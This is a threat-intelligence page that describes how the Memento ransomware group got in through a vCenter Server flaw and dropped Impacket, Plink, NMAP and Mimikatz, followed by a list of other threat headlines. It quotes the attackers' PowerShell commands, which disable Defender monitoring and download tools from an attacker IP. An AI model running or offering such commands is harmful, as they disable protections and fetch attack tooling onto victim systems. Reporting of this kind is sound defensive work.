Memento Team uses password-protected archives to bypass encryption protection

The ransomware actors appear to have taken advantage of a flaw in VMware’s vCenter Server web client first revealed in February.
The vulnerability allowed anyone who had TCP/IP port 443 access to the server to execute commands remotely with system-level privileges; a firewall had been misconfigured, and the vCenter Server was exposed to the Internet on that port.
This server had outdated malware protection and was not configured with endpoint detection and response.

While there are hints of the actors behind this attack gaining access to the targeted network as early as mid-April, the first real signs of intrusion were on May 4: the dropping of PyInstaller-compiled versions of two tools from the Impacket toolset-the wmiexec remote shell tool (which executes commands via Windows Management Instrumentation) and the secretsdump hash dumping tool were dropped onto a Windows server.
The hash dump tool was likely used to acquire credentials for accounts that would be used later.

Six days later, they came back and began further setting up shop, first using a PowerShell command to attempt to turn off malware scanning: powershell Set-MpPreference -DisableRealtimeMonitoring $true
Next, the intruders started using PowerShell web requests to pull down files: first, a copy of a command-line version of the WinRAR utility, and then a pair of RAR archives on the compromised server.
These commands were executed using the wmiexec remote shell, connecting to a host (now unreachable) in South Korea:
powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/r.exe -OutFile c:tempr.exe
powershell Invoke-WebRequest -Uri http://27.102.127[.] 120/x1.rar -OutFile c:tempx1.rar
powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/x2.rar -OutFile c:tempx2.rar

Among the files then extracted from the RAR archive were:
pl.exe – a copy of the Plink SSH tunneling tool, allowing them to gain an interactive console connection with the compromised server.
nm.exe – NMAP, the network scanning tool.
Npcap-0.93.exe – the installer for the NPCAP network packet capture library and its associated kernel driver.
mimikatz.exe – Mimikatz, the credential stealing tool.

Sign Up For Threat Alerts

Loading...
Threats Icon

Aug 11, 2022

Cisco Talos shares insights related to recent...

Initial access to the Cisco VPN was achieved via the successful compromise of a Cisco...

Threats Icon

Aug 11, 2022

Andariel deploys DTrack and Maui ransomware

The CISA published an alert, entitled, "North Korean State-Sponsored Cyber Actors Use Maui Ransomware To...

Threats Icon

Aug 09, 2022

Albanian Government Organizations Targeted By Possible Iranian...

Mandiant identified the ROADSWEEP ransomware family and a Telegram persona which targeted the Albanian government...

Threats Icon

Aug 08, 2022

BumbleBee Roasts Its Way to Domain Admin

Threat actors used BumbleBee as the initial access vector. BumbleBee is a malware loader that...

Threats Icon

Aug 08, 2022

RapperBot – new evolving malware

FortiGuard Labs has been tracking a rapidly evolving IoT malware family known as "RapperBot". This...

Threats Icon

Aug 04, 2022

Google Drive And Dropbox Used By APT29...

Cloaked Ursa (aka: APT29) has been targeting governmental entities in several countries with spear-phishing campaigns...

Threats Icon

Aug 03, 2022

Manjusaka: A Chinese sibling of Sliver and...

Cisco Talos recently discovered a new attack framework called "Manjusaka" being used in the wild...

Threats Icon

Aug 03, 2022

macOS Targeted With The CloudMensis Multi-Staged Malware

ESET researchers discovered a previously unknown macOS backdoor that spies on users of the compromised...

Threats Icon

Aug 01, 2022

Attackers Target Ukraine With GoMet Backdoor

Since the Russian invasion of Ukraine began, Ukrainians have been under a nearly constant barrage...

Threats Icon

Jul 31, 2022

Untangling KNOTWEED: European private-sector offensive actor using...

The Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Security Response Center (MSRC) found a...

Threats Icon

Jul 31, 2022

Untangling KNOTWEED: European private-sector offensive actor using...

The Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Security Response Center (MSRC) found a...

Threats Icon

Jul 26, 2022

EvilNum Targets Cryptocurrency, Forex, Commodities

Proofpoint Threat Research observed the group Proofpoint calls TA4563 targeting various European financial and investment...

Threats Icon

Jul 25, 2022

Lightning Framework: New Undetected “Swiss Army Knife”...

Lightning is a previously undocumented and undetected Linux threat. Lightning is a modular framework we...

Threats Icon

Jul 24, 2022

Redeemer Ransomware

Redeemer 2.0 Being Distributed Via Affiliate Program Cyble Research Labs has constantly been tracking emerging...

Threats Icon

Jul 21, 2022

Cobalt Strikes again: UAC-0056 continues to target...

The Malwarebytes Threat Intelligence team recently reviewed a series of cyber attacks against Ukraine that...